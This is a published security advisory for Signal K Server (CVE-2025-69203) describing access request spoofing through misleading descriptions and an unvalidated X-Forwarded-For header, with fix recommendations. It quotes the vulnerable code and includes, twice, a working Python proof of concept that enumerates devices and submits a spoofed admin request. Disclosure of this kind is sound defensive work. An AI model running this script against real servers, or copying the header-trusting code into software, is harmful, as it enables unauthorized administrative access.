GHSA-VFRF-VCJ7-WVR8
Vulnerability from github – Published: 2026-01-02 15:26 – Updated: 2026-01-02 15:26
VLAI?
Summary
Signal K Server Vulnerable to Access Request Spoofing
Details
The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.
When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access.
The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.
Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.
Affected Code
File: packages/server-admin-ui/src/views/security/AccessRequests.js
The admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.
File: src/tokensecurity.js (access request creation and IP extraction)
// Access request accepts any permissions value from the client
const permissions = req.body.permissions // No validation against description
// IP address extraction trusts X-Forwarded-For without validation
const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress
The code prioritizes the X-Forwarded-For header over the actual connection IP, allowing client-controlled spoofing.
Impact
An administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.
PoC
import requests
TARGET = "http://localhost:3000"
SPOOFED_IP = "192.168.1.100"
def create_spoofed_request(device_name):
payload = {
"clientId": device_name,
"description": f"{device_name} - Read Only", # Misleading
"permissions": "admin" # Actually requesting admin!
}
headers = {
"Content-Type": "application/json",
"X-Forwarded-For": SPOOFED_IP # Spoof internal IP
}
r = requests.post(
f"{TARGET}/signalk/v1/access/requests",
json=payload,
headers=headers
)
if r.status_code == 202:
data = r.json()
href = data.get("href")
request_id = href.split("/")[-1] if href else None
print(f"[+] Access request created!")
print(f"[+] Request ID: {request_id}")
print(f"[+] Admin sees: '{payload['description']}'")
print(f"[+] Actual permissions: {payload['permissions']}")
print(f"[+] Spoofed IP: {SPOOFED_IP}")
return request_id
else:
print(f"[-] Failed: {r.status_code} - {r.text}")
return None
if __name__ == "__main__":
# First enumerate devices/sources using info disclosure vulnerability
sources = requests.get(f"{TARGET}/signalk/v1/api/sources").json()
devices = [d for d in sources.keys() if d != "defaults"]
if devices:
print(f"[+] Found devices: {devices}")
create_spoofed_request(devices[0])
else:
create_spoofed_request("sensor-01")
Recommendation
- Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value.
- Validate X-Forwarded-For headers. Only trust
X-Forwarded-Forheaders from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes. - Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.
Severity ?
6.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69203"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T15:26:11Z",
"nvd_published_at": "2026-01-01T19:15:54Z",
"severity": "MODERATE"
},
"details": "The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.\n\nWhen a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access.\n\nThe access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client\u0027s IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.\n\nSince device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.\n\n### Affected Code\n\n**File**: `packages/server-admin-ui/src/views/security/AccessRequests.js`\n\nThe admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.\n\n**File**: `src/tokensecurity.js` (access request creation and IP extraction)\n\n```javascript\n// Access request accepts any permissions value from the client\nconst permissions = req.body.permissions // No validation against description\n\n// IP address extraction trusts X-Forwarded-For without validation\nconst ip = req.headers[\u0027x-forwarded-for\u0027] || req.connection.remoteAddress\n```\n\nThe code prioritizes the `X-Forwarded-For` header over the actual connection IP, allowing client-controlled spoofing.\n\n### Impact\n\nAn administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.\n\n### PoC\n\n```python\nimport requests\n\nTARGET = \"http://localhost:3000\"\nSPOOFED_IP = \"192.168.1.100\"\n\ndef create_spoofed_request(device_name):\n payload = {\n \"clientId\": device_name,\n \"description\": f\"{device_name} - Read Only\", # Misleading\n \"permissions\": \"admin\" # Actually requesting admin!\n }\n \n headers = {\n \"Content-Type\": \"application/json\",\n \"X-Forwarded-For\": SPOOFED_IP # Spoof internal IP\n }\n \n r = requests.post(\n f\"{TARGET}/signalk/v1/access/requests\",\n json=payload,\n headers=headers\n )\n \n if r.status_code == 202:\n data = r.json()\n href = data.get(\"href\")\n request_id = href.split(\"/\")[-1] if href else None\n \n print(f\"[+] Access request created!\")\n print(f\"[+] Request ID: {request_id}\")\n print(f\"[+] Admin sees: \u0027{payload[\u0027description\u0027]}\u0027\")\n print(f\"[+] Actual permissions: {payload[\u0027permissions\u0027]}\")\n print(f\"[+] Spoofed IP: {SPOOFED_IP}\")\n \n return request_id\n else:\n print(f\"[-] Failed: {r.status_code} - {r.text}\")\n return None\n\nif __name__ == \"__main__\":\n # First enumerate devices/sources using info disclosure vulnerability\n sources = requests.get(f\"{TARGET}/signalk/v1/api/sources\").json()\n devices = [d for d in sources.keys() if d != \"defaults\"]\n \n if devices:\n print(f\"[+] Found devices: {devices}\")\n create_spoofed_request(devices[0])\n else:\n create_spoofed_request(\"sensor-01\")\n```\n\n### Recommendation\n\n1. Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value.\n2. Validate X-Forwarded-For headers. Only trust `X-Forwarded-For` headers from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes.\n3. Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.",
"id": "GHSA-vfrf-vcj7-wvr8",
"modified": "2026-01-02T15:26:11Z",
"published": "2026-01-02T15:26:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-vfrf-vcj7-wvr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69203"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server Vulnerable to Access Request Spoofing"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…